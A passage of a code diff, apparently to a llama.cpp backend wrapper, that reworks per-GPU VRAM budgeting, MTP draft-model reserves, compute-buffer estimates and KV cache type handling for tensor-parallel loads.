-        ranked = sorted(gpus, key = lambda g: g[1], reverse = True)
+        # Per-GPU usable budget: free - (1-frac)*total when total is known, else
+        # the legacy free*frac (also covers a total-0 two-column probe).
+        def _usable(idx: int, free_mib: int) -> float:
+            t = total_by_idx.get(idx, 0) if total_by_idx else 0
+            if t > 0:
+                return max(0.0, free_mib - (1.0 - usable_fraction) * t)
+            return free_mib * usable_fraction
+
+        # Rank by usable budget (free - reserve), not raw free: a more-used large
+        # card can have less usable room than a less-used small one.
+        ranked = sorted(gpus, key = lambda g: _usable(g[0], g[1]), reverse = True)
 
         # Try 1 GPU at the usable-VRAM threshold.
-        if ranked[0][1] * usable_fraction >= model_size_mib:
+        if _usable(ranked[0][0], ranked[0][1]) >= model_size_mib:
             return [ranked[0][0]], False
 
-        # Try N GPUs (accumulate free memory from most-free)
-        cumulative = 0
+        # Try N GPUs (accumulate usable memory from most-free). Each GPU past the
+        # first adds a fixed per-device overhead the pool must hold.
+        overhead_mib = per_device_overhead_bytes / (1024 * 1024)
+        cumulative = 0.0
         selected = []
         for idx, free_mib in ranked:
             selected.append(idx)
-            cumulative += free_mib * usable_fraction
-            if cumulative >= model_size_mib:
+            cumulative += _usable(idx, free_mib)
+            if cumulative >= model_size_mib + (len(selected) - 1) * overhead_mib:
                 return sorted(selected), False
 
         # Too large even for all GPUs; let --fit handle it
@@ -2173,14 +2450,10 @@ class LlamaCppBackend:
           5. Legacy   -- fallback using embed // n_heads
 
         Server-flag knobs (mirror llama-server's CLI):
-          swa_full        -- ``--swa-full``: force SWA layers to cache full
-                             ``n_ctx`` (collapses path 3 to path 4 for them).
-          n_parallel      -- ``--parallel`` slots: non-SWA layers stay constant
-                             (cells split across slots), SWA layers scale linearly.
-          kv_unified      -- ``--kv-unified`` (default on): no-op for memory math;
-                             kept for API forward-compat.
-          ctx_checkpoints -- ``--ctx-checkpoints`` (PR #15293): N SWA snapshots
-                             per slot, one sliding-window of state per SWA layer.
+          swa_full        -- --swa-full: SWA layers cache full n_ctx (path 3->4).
+          n_parallel      -- --parallel slots: non-SWA constant, SWA scale linearly.
+          kv_unified      -- --kv-unified: memory no-op (API forward-compat).
+          ctx_checkpoints -- --ctx-checkpoints: N SWA snapshots per slot.
 
         Returns 0 if metadata is insufficient.
         """
@@ -2195,17 +2468,7 @@ class LlamaCppBackend:
         n_kv = self._n_kv_heads or self._n_heads or 1  # type: ignore[assignment]
 
         # Bytes per element depends on KV cache quantization
-        bpe = {
-            "f32": 4.0,
-            "f16": 2.0,
-            "bf16": 2.0,
-            "q8_0": 34 / 32,
-            "q5_1": 0.75,
-            "q5_0": 0.6875,
-            "q4_1": 0.625,
-            "q4_0": 0.5625,
-            "iq4_nl": 0.5625,
-        }.get(cache_type_kv or "f16", 2.0)
+        bpe = _kv_bytes_per_elem(cache_type_kv)
 
         slots = max(1, n_parallel)
 
@@ -2233,15 +2496,12 @@ class LlamaCppBackend:
             head_dim = self._embedding_length // self._n_heads if self._n_heads else 128  # type: ignore[operator]
             return int(n_attn * n_ctx * n_kv * 2 * head_dim * bpe)
 
-        # Path 3: Sliding window (Gemma 2/3/3n/4, gpt-oss, Cohere2 ...).
-        # Pattern filled by the resolver at parse time; if absent, falls through
-        # to the legacy 1/4-global heuristic below. Per-layer-type --parallel N
-        # accounting (verified against llama-server):
-        #   * non-SWA layers: total cells = n_ctx split across slots -> CONSTANT.
-        #   * SWA layers:     per-slot cells = 2*sliding_window (capped at n_ctx
-        #                     and per_slot_ctx) -> grows LINEARLY in slots.
-        # --swa-full forces full n_ctx for SWA layers; --ctx-checkpoints N adds
-        # N snapshots per SWA layer per slot.
+        # Path 3: Sliding window (Gemma 2/3/3n/4, gpt-oss, Cohere2 ...). Pattern
+        # from the resolver; if absent, falls through to the legacy 1/4-global
+        # heuristic. --parallel N accounting (verified against llama-server):
+        # non-SWA cells = n_ctx split across slots (CONSTANT); SWA per-slot cells
+        # = 2*sliding_window (capped at n_ctx/per_slot_ctx) -> LINEAR in slots.
+        # --swa-full forces full n_ctx for SWA; --ctx-checkpoints N adds snapshots.
         if (
             self._sliding_window is not None
             and self._sliding_window > 0
@@ -2250,8 +2510,7 @@ class LlamaCppBackend:
         ):
             swa = self._sliding_window
             per_slot_ctx = max(1, n_ctx // slots)
-            # --swa-full caches full context like non-SWA (per-slot cells =
-            # per_slot_ctx, collapsing to constant n_ctx total); otherwise SWA
+            # --swa-full caches full per_slot_ctx (constant n_ctx total); else SWA
             # caches 2*sliding_window per slot, clamped at per-slot ctx.
             swa_cells_per_slot = per_slot_ctx if swa_full else min(n_ctx, 2 * swa, per_slot_ctx)
             key_len_swa = self._kv_key_length_swa or key_len
@@ -2304,6 +2563,149 @@ class LlamaCppBackend:
         head_dim = self._embedding_length // self._n_heads if self._n_heads else 128  # type: ignore[operator]
         return int(2 * n_kv * head_dim * n_layers_kv * n_ctx * bpe)
 
+    def _draft_backend_for(self, drafter_path: str) -> Optional["LlamaCppBackend"]:
+        """Lightweight backend with a drafter GGUF's metadata, to size its own KV
+        via _estimate_kv_cache_bytes. Cached per path; None if unreadable."""
+        cache = getattr(self, "_draft_backend_cache", None)
+        if cache is not None and cache[0] == drafter_path:
+            return cache[1]
+        db: Optional[LlamaCppBackend] = None
+        try:
+            db = LlamaCppBackend.__new__(LlamaCppBackend)
+            for attr in (
+                "_context_length",
+                "_n_layers",
+                "_n_kv_heads",
+                "_n_heads",
+                "_embedding_length",
+                "_kv_key_length",
+                "_kv_value_length",
+                "_kv_lora_rank",
+                "_sliding_window",
+                "_sliding_window_pattern",
+                "_ssm_inner_size",
+                "_full_attention_interval",
+                "_key_length_mla",
+                "_n_kv_heads_by_layer",
+                "_kv_key_length_swa",
+                "_kv_value_length_swa",
+                "_shared_kv_layers",
+                "_nextn_predict_layers",
+            ):
+                setattr(db, attr, None)
+            db._model_identifier = "mtp-draft"
+            db._read_gguf_metadata(drafter_path)
+        except Exception as e:  # unreadable drafter -> caller falls back
+            logger.debug(f"Could not read drafter GGUF for MTP budget: {e}")
+            db = None
+        self._draft_backend_cache = (drafter_path, db)
+        return db
+
+    def _mtp_draft_kv_bytes(
+        self,
+        n_ctx: int,
+        *,
+        drafter_path: Optional[str] = None,
+        draft_cache_type_k: Optional[str] = None,
+        draft_cache_type_v: Optional[str] = None,
+        n_parallel: int = 1,
+    ) -> Optional[int]:
+        """Draft KV cache bytes at n_ctx, sized from GGUF dims (K and V types are
+        independent). Separate drafter (Gemma): its own KV via _estimate_kv_cache_bytes
+        at the heavier type. Embedded head (Qwen): nextn_predict_layers attention
+        layers from the main dims. None when dims are missing (flat fallback)."""
+        if n_ctx <= 0:
+            return None
+        bpe_k = _kv_bytes_per_elem(draft_cache_type_k)
+        bpe_v = _kv_bytes_per_elem(draft_cache_type_v)
+        if drafter_path:
+            db = self._draft_backend_for(drafter_path)
+            if db is None or not db._can_estimate_kv():
+                return None
+            heavier = draft_cache_type_k if bpe_k >= bpe_v else draft_cache_type_v
+            # The drafter is served under the same --parallel slot count as the
+            # main model, so price its KV per slot too: a sliding-window drafter
+            # (Gemma) grows KV with slots and would otherwise be under-reserved.
+            kv = db._estimate_kv_cache_bytes(n_ctx, heavier, n_parallel = n_parallel)
+            return kv or None
+        nextn = self._nextn_predict_layers or 0
+        n_kv = self._n_kv_heads or self._n_heads
+        k_len = self._kv_key_length
+        v_len = self._kv_value_length
+        if not (nextn and n_kv and k_len and v_len):
+            return None
+        # The embedded MTP head is one draft layer, so a quantized draft KV can't
+        # amortize its overhead and fits *less* context than f16 (llama.cpp#24102).
+        # Floor it at f16: a quantized override is priced as f16, f32 keeps its 4
+        # bytes. The separate-drafter branch is multi-layer, so it keeps its type.
+        f16_bpe = _kv_bytes_per_elem("f16")
+        bpe_k = max(bpe_k, f16_bpe)
+        bpe_v = max(bpe_v, f16_bpe)
+        return int(nextn * n_kv * (k_len * bpe_k + v_len * bpe_v) * n_ctx)
+
+    def _estimate_mtp_overhead_bytes(
+        self,
+        n_ctx: int,
+        *,
+        spec_draft_n_max: int = 0,
+        draft_cache_type_k: Optional[str] = None,
+        draft_cache_type_v: Optional[str] = None,
+        drafter_path: Optional[str] = None,
+        draft_weights_bytes: int = 0,
+        n_parallel: int = 1,
+    ) -> Optional[int]:
+        """MTP draft reserve at ``n_ctx`` = draft KV (grows with ctx) + separate-
+        drafter weights. The verify buffer rides in the ctx-fit headroom (no tuned
+        constant). None when the draft KV can't be sized (caller keeps the flat
+        fallback). ``draft_weights_bytes`` is the drafter file size (0 for embedded)."""
+        draft_kv = self._mtp_draft_kv_bytes(
+            n_ctx,
+            drafter_path = drafter_path,
+            draft_cache_type_k = draft_cache_type_k,
+            draft_cache_type_v = draft_cache_type_v,
+            n_parallel = n_parallel,
+        )
+        weights = max(0, draft_weights_bytes)
+        if draft_kv is None:
+            # KV unsized (exotic/remote drafter): still reserve known weights so a
+            # large drafter can't launch over budget (the small unsized KV rides in
+            # the cushion). Nothing known -> None, so the caller keeps the flat
+            # fallback.
+            return weights if weights > 0 else None
+        return draft_kv + weights
+
+    _DEFAULT_N_UBATCH = 512  # llama.cpp --ubatch default; Studio does not override it
+    _COMPUTE_BUFFER_SAFETY = 1.15  # upper-bound margin on the compute-buffer estimate
+
+    def _estimate_compute_buffer_bytes(
+        self,
+        *,
+        n_ubatch: Optional[int] = None,
+        n_parallel: int = 1,
+        per_device_tensor: bool = False,
+    ) -> int:
+        """Per-device compute-graph buffer (bytes) from GGUF dims: a vocab-width
+        output buffer + activation scratch. Context-independent; scales with
+        ``--parallel`` (serving slots). Tensor mode materializes it on every device.
+        A slight upper bound over measured allocations; 0 when dims are missing."""
+        n_vocab = self._vocab_size or 0
+        n_embd = self._embedding_length or 0
+        if n_vocab <= 0 or n_embd <= 0:
+            return 0
+        ub = max(1, int(n_ubatch if n_ubatch else self._DEFAULT_N_UBATCH))
+        par = max(1, int(n_parallel))
+        out_buffer = n_vocab * ub * 4  # f32 output/logits buffer
+        act_scratch = 4 * n_embd * ub * 4  # a few resident hidden-width buffers
+        if per_device_tensor:
+            # Output + comm/staging materialized on every device, every slot.
+            compute = 2 * act_scratch + out_buffer * par
+        else:
+            # Each extra concurrent slot adds one output buffer (chat decode sizes
+            # ~one logit row per slot; would under-count embeddings/--logits-all,
+            # not run here). Matches measured {1:36,2:492,4:1388,8:3220} MiB.
+            compute = act_scratch + out_buffer * max(0, par - 1)
+        return int(compute * self._COMPUTE_BUFFER_SAFETY)
+
     def _fit_context_to_vram(
         self,
         requested_ctx: int,
@@ -2318,13 +2720,15 @@ class LlamaCppBackend:
         ctx_checkpoints: int = 0,
         kv_on_gpu: bool = True,
         mtp_engaged: bool = False,
+        mtp_overhead_fn: Optional[Callable[[int], int]] = None,
         budget_frac: Optional[float] = None,
+        total_mib: Optional[int] = None,
     ) -> int:
         """Return the largest context length that fits in GPU VRAM.
 
-        Uses 90% of available VRAM as the ctx-fit budget -- tighter than
-        ``_GPU_PIN_VRAM_FRACTION`` on purpose (over-promising context OOMs at
-        runtime). If the weights alone don't fit, returns ``requested_ctx``.
+        Budget caps occupancy at ``_CTX_FIT_VRAM_FRACTION`` of the card: an
+        absolute ``free - (1 - frac) * total`` when ``total_mib`` is given, else
+        ``free * frac``. Weights alone over budget returns ``requested_ctx``.
 
         ``kv_on_gpu`` mirrors ``--kv-offload`` (default on); when False the KV
         cache lives in CPU RAM and the requested context is honored verbatim.
@@ -2352,17 +2756,25 @@ class LlamaCppBackend:
             ctx_checkpoints = ctx_checkpoints,
         )
 
-        # MTP engaged: carve the drafter's reserve out of the fit budget. Callers
-        # can override outright (tensor-parallel mode passes a fatter margin), so
-        # only compute a default when none was supplied.
+        # byte-accurate mtp_overhead_fn supersedes the flat fraction (the fallback
+        # when dims can't size the draft KV); callers may override budget_frac.
         if budget_frac is None:
-            budget_frac = _CTX_FIT_VRAM_FRACTION - (_MTP_VRAM_RESERVE_FRAC if mtp_engaged else 0.0)
-        budget_bytes = available_mib * 1024 * 1024 * budget_frac
+            flat_mtp = mtp_engaged and mtp_overhead_fn is None
+            budget_frac = _CTX_FIT_VRAM_FRACTION - (_MTP_VRAM_RESERVE_FRAC if flat_mtp else 0.0)
+        # Absolute reserve off total when known, else fraction-of-free; clamp >=0.
+        if total_mib is not None and total_mib > 0:
+            budget_mib = max(0.0, available_mib - (1.0 - budget_frac) * total_mib)
+        else:
+            budget_mib = available_mib * budget_frac
+        budget_bytes = budget_mib * 1024 * 1024
         model_footprint = model_size_bytes
 
+        def _mtp_at(ctx: int) -> int:
+            return mtp_overhead_fn(ctx) if mtp_overhead_fn is not None else 0
+
         # Already fits?
         kv = self._estimate_kv_cache_bytes(requested_ctx, cache_type_kv, **kv_kwargs)
-        if model_footprint + kv <= budget_bytes:
+        if model_footprint + kv + _mtp_at(requested_ctx) <= budget_bytes:
             return requested_ctx
 
         # Weights alone exceed budget -- reducing ctx can't help; --fit handles it.
@@ -2375,7 +2787,7 @@ class LlamaCppBackend:
             )
             return requested_ctx
 
-        # Binary search for max context that fits
+        # Binary search for max context that fits (KV + MTP draft reserve at that ctx)
         remaining = budget_bytes - model_footprint
         effective_min = min(min_ctx, requested_ctx)
         lo, hi = effective_min, requested_ctx
@@ -2383,7 +2795,7 @@ class LlamaCppBackend:
         while lo <= hi:
             mid = (lo + hi) // 2
             kv = self._estimate_kv_cache_bytes(mid, cache_type_kv, **kv_kwargs)
-            if kv <= remaining:
+            if kv + _mtp_at(mid) <= remaining:
                 best = mid
                 lo = mid + 1
             else:
@@ -2562,6 +2974,8 @@ class LlamaCppBackend:
         self._n_kv_heads_by_layer = None
         self._n_heads = None
         self._embedding_length = None
+        self._feed_forward_length = None
+        self._vocab_size = None
         self._kv_key_length = None
         self._kv_value_length = None
         self._sliding_window = None
@@ -2583,6 +2997,8 @@ class LlamaCppBackend:
             WANTED = {
                 "general.architecture",
                 "tokenizer.chat_template",
+                # Vocab size = tokens array length (no vocab_size key in many GGUFs).
+                "tokenizer.ggml.tokens",
                 # Block-diffusion marker (DiffusionGemma); routes to the diffusion runner.
                 "diffusion.canvas_length",
                 # Source-repo hints for the SWA resolver's HF fallback.
@@ -2646,6 +3062,7 @@ class LlamaCppBackend:
                                         f"{arch}.attention.head_count_kv": "n_kv_heads",
                                         f"{arch}.attention.head_count": "n_heads",
                                         f"{arch}.embedding_length": "embedding_length",
+                                        f"{arch}.feed_forward_length": "feed_forward_length",
                                         f"{arch}.attention.key_length": "kv_key_length",
                                         f"{arch}.attention.value_length": "kv_value_length",
                                         f"{arch}.attention.sliding_window": "sliding_window",
@@ -2679,6 +3096,9 @@ class LlamaCppBackend:
                             elif vtype == 9:  # ARRAY
                                 atype = struct.unpack("<I", f.read(4))[0]
                                 alen = struct.unpack("<Q", f.read(8))[0]
+                                # Vocab size = token count; keep the length, not the strings.
+                                if key == "tokenizer.ggml.tokens":
+                                    self._vocab_size = int(alen)
                                 val_a = self._gguf_read_array_value(f, atype, alen)
                                 attr = arch_keys.get(key)
                                 if attr == "n_kv_heads" and val_a is not None:
@@ -3457,7 +3877,11 @@ class LlamaCppBackend:
         cache_type_kv: Optional[str] = None,
         n_parallel: int = 1,
         mtp_engaged: bool = False,
+        mtp_overhead_fn: Optional[Callable[[int], int]] = None,
+        mtp_flat_reserve_bytes: int = 0,
         max_target_ctx: Optional[int] = None,
+        total_by_idx: Optional[dict[int, int]] = None,
+        n_ubatch: Optional[int] = None,
     ) -> tuple[int, int, list[int], Optional[list[int]]]:
         """Plan a ``--split-mode tensor`` load. Pure: no model or GPU needed.
 
@@ -3470,22 +3894,41 @@ class LlamaCppBackend:
 
         Policy (assumes >= 2 GPUs; the caller drops the toggle below that):
         - Cap context to the KV that fits the pooled VRAM after the weights and
-          one per-device compute-graph buffer (``_TENSOR_PARALLEL_BUFFER_RESERVE_MIB``).
+          one per-device compute-graph buffer (``_estimate_compute_buffer_bytes``,
+          deterministic from dims; flat fallback when dims are unavailable).
           llama.cpp's ``--fit`` is a no-op in tensor mode, so this is the only
           cap, honored even for an explicit ``-c``. It is more accurate than the
           0.80 whole-pool heuristic, which over-reserves and leaves VRAM unused.
         - ``tensor_split`` is None (llama.cpp's even default, safe for every arch
           incl. Gemma 3n which GGML_ASSERTs on a weighted split) when an even
-          share fits the smallest GPU; otherwise it is weighted by
-          ``(free - buffer)`` so the roomier GPU absorbs more weight and the
-          smallest GPU keeps room for KV.
+          share fits the smallest GPU; otherwise it is weighted by usable budget
+          so the roomier GPU absorbs more weight and the smallest keeps room for KV.
+        ``total_by_idx`` enables the total-based occupancy cap; ``n_ubatch`` sizes
+        the compute buffer.
         """
-        # Drop GPUs that can't hold the per-device compute-graph buffer; they'd
-        # OOM in tensor mode. load_model already filters before calling, so this
-        # is defense-in-depth that also keeps the pure function self-contained
-        # (and unit-testable without a GPU).
-        reserve_mib = self._TENSOR_PARALLEL_BUFFER_RESERVE_MIB
-        usable_gpus = [g for g in gpus if g[1] >= reserve_mib]
+
+        # Per-GPU usable budget: free - (1-frac)*total, else (unknown total, e.g. a
+        # two-column probe) the legacy free*frac. Mirrors _select_gpus and
+        # _gpu_usable so the 5% cushion is kept on every path, not dropped here.
+        def _usable(idx: int, free_mib: int) -> float:
+            t = total_by_idx.get(idx, 0) if total_by_idx else 0
+            if t > 0:
+                return max(0.0, free_mib - (1.0 - _CTX_FIT_VRAM_FRACTION) * t)
+            return max(0.0, free_mib * _CTX_FIT_VRAM_FRACTION)
+
+        # Drop GPUs whose usable budget can't hold the per-device compute-graph
+        # buffer; they'd OOM in tensor mode. Admitting on raw free would let a
+        # partly-used big card in with no budget left. Defense-in-depth (load_model
+        # gates too). Derived per-device reserve; flat fallback.
+        _reserve_bytes = self._estimate_compute_buffer_bytes(
+            n_ubatch = n_ubatch, n_parallel = n_parallel, per_device_tensor = True
+        )
+        reserve_mib = (
+            _reserve_bytes // (1024 * 1024)
+            if _reserve_bytes > 0
+            else self._TENSOR_PARALLEL_BUFFER_RESERVE_MIB
+        )
+        usable_gpus = [g for g in gpus if _usable(g[0], g[1]) >= reserve_mib]
         gpu_indices = sorted(idx for idx, _ in usable_gpus)
         if len(gpu_indices) < 2:
             # Tensor parallelism is meaningless on <2 GPUs (the caller drops the
@@ -3497,21 +3940,50 @@ class LlamaCppBackend:
                 None,
             )
         free_by_idx = {idx: free for idx, free in usable_gpus}
-        pool_mib = sum(free_by_idx.values())
-        kv_budget_b = (pool_mib - len(gpu_indices) * reserve_mib) * 1024 * 1024 - model_size
-        if mtp_engaged:
-            # MTP keeps a draft model + its own KV cache on GPU.
-            kv_budget_b -= 2 * 1024**3
+        usable_by_idx = {idx: _usable(idx, free_by_idx[idx]) for idx in gpu_indices}
+        pool_mib = sum(usable_by_idx.values())
+        # MTP reserve: byte-accurate per-ctx inside _fit_ctx (mtp_overhead_fn) plus
+        # a flat cushion that the byte fn can't size -- 2 GiB when dims are wholly
+        # unavailable (no fn), or mtp_flat_reserve_bytes when the fn is weights-only
+        # because the draft KV couldn't be sized (_mtp_kv_unsized). Without this the
+        # binary search spends the unsized-KV cushion on main context and OOMs.
+        flat_mtp_bytes = max(0, mtp_flat_reserve_bytes)
+        if mtp_engaged and mtp_overhead_fn is None:
+            flat_mtp_bytes = max(flat_mtp_bytes, 2 * 1024**3)
+        kv_budget_b = (
+            (pool_mib - len(gpu_indices) * reserve_mib) * 1024 * 1024 - model_size - flat_mtp_bytes
+        )
+
+        def _mtp_at(ctx: int) -> int:
+            return mtp_overhead_fn(ctx) if mtp_overhead_fn is not None else 0
 
         def _fit_ctx(ctx: int) -> int:
-            # Largest context whose KV fits the pooled budget. Floors small, but
-            # never raises an explicit ctx above what was asked.
+            # Largest context whose KV (+ MTP draft reserve) fits the pooled
+            # budget. Floors small, but never raises an explicit ctx above asked.
             if self._can_estimate_kv() and ctx > 0:
                 ctx_floor = min(2048, ctx)
                 if kv_budget_b <= 0:
                     # Weights + buffers exceed the pool -> floor; the load then
                     # falls back to layer split.
                     return ctx_floor
+                if mtp_overhead_fn is not None:
+                    # kv(ctx)+mtp(ctx) is not single-linear, so binary search.
+                    def _consumer(c: int) -> int:
+                        return self._estimate_kv_cache_bytes(
+                            c, cache_type_kv, n_parallel = n_parallel
+                        ) + _mtp_at(c)
+
+                    if _consumer(ctx) <= kv_budget_b:
+                        return ctx
+                    lo, hi, best = ctx_floor, ctx, ctx_floor
+                    while lo <= hi:
+                        mid = (lo + hi) // 2
+                        if _consumer(mid) <= kv_budget_b:
+                            best = mid
+                            lo = mid + 1
+                        else:
+                            hi = mid - 1
+                    return best
                 kv_at = self._estimate_kv_cache_bytes(ctx, cache_type_kv, n_parallel = n_parallel)
                 if kv_at <= kv_budget_b:
                     return ctx
@@ -3526,16 +3998,19 @@ class LlamaCppBackend:
         max_available_ctx = _fit_ctx(max_ctx_target)
         effective_ctx = min(_fit_ctx(target_ctx), max_available_ctx)
 
-        min_free_mib = min(free_by_idx.values())
+        min_usable_mib = min(usable_by_idx.values())
         kv_bytes = (
             self._estimate_kv_cache_bytes(effective_ctx, cache_type_kv, n_parallel = n_parallel)
             if (self._can_estimate_kv() and effective_ctx > 0)
             else 0
         )
-        even_share_mib = (model_size + kv_bytes) / len(gpu_indices) / (1024 * 1024)
+        # The MTP reserve also has to fit the even split (mirror the pooled budget):
+        # byte-accurate per-ctx (0 when no fn) plus the same flat cushion as above.
+        mtp_bytes = (_mtp_at(effective_ctx) if effective_ctx > 0 else 0) + flat_mtp_bytes
+        even_share_mib = (model_size + kv_bytes + mtp_bytes) / len(gpu_indices) / (1024 * 1024)
         tensor_split: Optional[list[int]] = None
-        if even_share_mib > (min_free_mib - reserve_mib):
-            adj = [max(0, int(free_by_idx[i] - reserve_mib)) for i in gpu_indices]
+        if even_share_mib > (min_usable_mib - reserve_mib):
+            adj = [max(0, int(usable_by_idx[i] - reserve_mib)) for i in gpu_indices]
             if sum(adj) > 0:
                 tensor_split = adj
         return effective_ctx, max_available_ctx, gpu_indices, tensor_split
@@ -3862,27 +4337,58 @@ class LlamaCppBackend:
                 ctx_override = parse_ctx_override(extra_args)
                 requested_ctx = resolve_requested_ctx(extra_args, n_ctx)
                 cache_override = parse_cache_override(extra_args)
-                cache_type_kv = resolve_cache_type_kv(extra_args, cache_type_kv)
-                # A user --split-mode in extras last-wins-overrides the
-                # toggle, so reconcile it back into tensor_parallel state.
+                # Budget the heavier of asymmetric --cache-type-k/-v extras (they
+                # win per axis at launch, appended last); resolve_cache_type_kv only
+                # returns the last-wins type, which under-reserves the heavier axis.
+                # The user's extras still set the real (possibly asymmetric) child
+                # cache, so this only affects the reserve, not the emitted command.
+                _extras_cache = _extra_args_main_cache_type_for_budget(extra_args)
+                cache_type_kv = _extras_cache if _extras_cache is not None else cache_type_kv
+                _cache_type_from_env = False
+                if cache_type_kv is None:
+                    # Param/extras set nothing, so the child inherits
+                    # LLAMA_ARG_CACHE_TYPE_K/_V. Adopt a heavier env type (f32) for
+                    # the reserve only; the launch does NOT re-emit it (that would
+                    # rewrite an asymmetric K=f32,V=f16 env into symmetric flags),
+                    # so _cache_type_from_env keeps it out of the emitted flags.
+                    cache_type_kv = _env_main_cache_type_for_budget()
+                    _cache_type_from_env = cache_type_kv is not None
+                # A user --split-mode in extras last-wins-overrides the toggle, and
+                # an inherited tensor LLAMA_ARG_SPLIT_MODE flips it on (the child
+                # would run tensor unbudgeted otherwise). The duplicate-load matchers
+                # use the same helper so a healthy env-driven tensor server matches.
                 split_mode_override = parse_split_mode_override(extra_args)
-                tensor_parallel = resolve_tensor_parallel(extra_args, tensor_parallel)
+                tensor_parallel = _effective_tensor_parallel(extra_args, tensor_parallel)
                 # Tensor mode aborts on a quantized KV cache, so drop it for the
                 # tensor attempt (and strip any inherited/explicit --cache-type
-                # that would re-impose it when appended last). The layer-split
-                # fallback re-runs with tensor_parallel False and keeps the type.
-                if (
-                    tensor_parallel
-                    and cache_type_kv
-                    and cache_type_kv.strip().lower() not in self._TENSOR_PARALLEL_KV_TYPES
-                ):
+                # that would re-impose it when appended last). Layer split does
+                # support it, so remember the dropped type and the original extras
+                # to restore (verbatim, incl. an asymmetric K/V) if we later fall
+                # back to layer split below.
+                _tensor_dropped_cache_type_kv: Optional[str] = None
+                _tensor_dropped_extra_args: Optional[list] = None
+                # Tensor mode rejects any quantized axis. cache_type_kv is the
+                # heavier-by-bytes budget type, which can mask a quantized axis (an
+                # f16 budget hides a paired q4_0), so also test each explicit
+                # --cache-type-k/-v extra, not just the budget type.
+                _ck_extra, _cv_extra = parse_cache_override_per_axis(extra_args)
+                _cache_non_tensor_safe = any(
+                    c and c.strip().lower() not in self._TENSOR_PARALLEL_KV_TYPES
+                    for c in (cache_type_kv, _ck_extra, _cv_extra)
+                )
+                if tensor_parallel and _cache_non_tensor_safe:
                     logger.info(
                         "Tensor parallelism requires a non-quantized KV cache; "
                         "ignoring cache type %s for the tensor attempt.",
                         cache_type_kv,
                     )
+                    _tensor_dropped_cache_type_kv = cache_type_kv
                     cache_type_kv = None
                     if extra_args:
+                        # Keep the originals so a layer downgrade restores the real
+                        # (possibly asymmetric) --cache-type-k/-v the layer path
+                        # supports, not just the scalar heavier type.
+                        _tensor_dropped_extra_args = list(extra_args)
                         extra_args = strip_shadowing_flags(
                             extra_args,
                             strip_context = False,
@@ -3891,10 +4397,24 @@ class LlamaCppBackend:
                             strip_template = False,
                             strip_split_mode = False,
                         )
+                    # The launch keeps an inherited tensor-safe env cache type (the
+                    # env cleanup only pops quantized ones), so re-adopt a heavier
+                    # env type (f32) for the budget here too -- mirrors the initial
+                    # adoption, which was skipped because the param/extras set the
+                    # (now-dropped) quantized type. Else the child allocates f32 KV
+                    # against an f16 budget.
+                    _env_tensor_cache = _env_main_cache_type_for_budget()
+                    if _env_tensor_cache is not None:
+                        cache_type_kv = _env_tensor_cache
+                        _cache_type_from_env = True
                 if ctx_override is not None and ctx_override > 0:
                     logger.info(f"User --ctx-size {ctx_override} honored; skipping auto-reduce")
                 if cache_override is not None:
-                    logger.info(f"User --cache-type-k/-v {cache_override} honored for KV estimate")
+                    _ck, _cv = parse_cache_override_per_axis(extra_args)
+                    logger.info(
+                        f"User --cache-type-k/-v (k={_ck}, v={_cv}) honored; "
+                        "KV estimate budgets the heavier axis"
+                    )
                 if split_mode_override is not None:
                     logger.info(
                         f"User --split-mode {split_mode_override} honored; "
@@ -3926,7 +4446,27 @@ class LlamaCppBackend:
                         self._mmproj_vram_bytes(launch_mmproj_path) if effective_is_vision else 0
                     )
                     model_size = gguf_size + mmproj_size
-                    gpus = self._get_gpu_free_memory()
+                    # 2-tuple gpus for existing logic + a total map for the absolute
+                    # per-GPU headroom (correct when the GPU is already partly used).
+                    _gpu_mem = self._get_gpu_memory()
+                    gpus = [(idx, free) for idx, free, _t in _gpu_mem]
+                    total_by_idx = {idx: total for idx, _f, total in _gpu_mem}
+
+                    def _gpu_usable(g, frac = _CTX_FIT_VRAM_FRACTION):
+                        # Per-GPU usable budget for ranking: free - (1-frac)*total.
+                        # Callers pass the ACTIVE fraction so the ranking matches the
+                        # budget the fit then tests (else mixed totals mis-order).
+                        idx, free = g
+                        t = total_by_idx.get(idx, 0)
+                        if t > 0:
+                            return free - (1.0 - frac) * t
+                        return free * frac
+
+                    def _pool_budget_mib(subset, frac):
+                        # Sum each GPU's own usable budget. Pooling free and total
+                        # separately would let an unknown-total GPU (MIG/vGPU/N/A)
+                        # add full free with no cushion among known-total GPUs.
+                        return sum(max(0.0, _gpu_usable(g, frac)) for g in subset)
 
                     # Resolve effective context: 0 means let llama-server use
                     # the model's native length. Only expand to a known native
@@ -3942,12 +4482,10 @@ class LlamaCppBackend:
                     # GPU/VRAM-fit logic below may shrink it on limited HW.
                     max_available_ctx = self._context_length or effective_ctx
 
-                    # Will MTP engage on this load? If so, auto-fit reserves
-                    # extra VRAM for the draft model. Mirrors
-                    # _build_speculative_flags' resolver: forced mtp / mtp+ngram
-                    # always engage; auto only on an MTP model >= 3B; ngram /
-                    # ngram-simple / off never engage MTP. A separate drafter
-                    # (Gemma) counts as an MTP model just like a baked-in head.
+                    # Will MTP engage? If so, auto-fit reserves draft-model VRAM.
+                    # Mirrors _build_speculative_flags: forced mtp/mtp+ngram always
+                    # engage; auto only on an MTP model >= 3B; ngram/off never. A
+                    # separate drafter (Gemma) counts as an MTP model.
                     _mtp_canonical = _canonicalize_spec_mode(speculative_type)
                     _mtp_effective = _mtp_canonical or "auto"
                     _mtp_size_for_fit = _extract_model_size_b(model_identifier)
@@ -3958,49 +4496,229 @@ class LlamaCppBackend:
                         and _mtp_size_for_fit < _MTP_MIN_SIZE_B
                         and not bool(mtp_draft_path)
                     )
+                    # LLAMA_ARG_SPEC_TYPE only reaches the child when neither extras
+                    # nor Studio emit a spec flag (mode "off", no user --spec-type),
+                    # since _build_speculative_flags emits one for every other mode.
+                    # Consult the env for the reserve only then, else a stale MTP env
+                    # would over-reserve.
+                    _spec_env: Mapping[str, str] = (
+                        os.environ
+                        if (not _extra_args_set_spec_type(extra_args) and _mtp_canonical == "off")
+                        else {}
+                    )
+                    # Extras can run MTP even when Studio suppresses its own emission.
+                    _user_mtp_via_extras = _extra_args_requests_mtp(extra_args, env = _spec_env)
+                    # A non-MTP model-based draft mode (draft-simple/draft-eagle3) in
+                    # extras also loads a separate draft model that needs reserving;
+                    # engage only when extras actually name a drafter for it.
+                    _user_draft_via_extras = _extra_args_requests_separate_draft(
+                        extra_args, env = _spec_env
+                    ) and bool(_extra_args_mtp_draft_path(extra_args))
+                    # Mirror _build_speculative_flags: reserve only for MTP the launch
+                    # resolver will actually emit (needs a head/drafter and a binary
+                    # that supports --spec-type mtp).
+                    _mtp_model_for_fit = bool(
+                        self._nextn_predict_layers
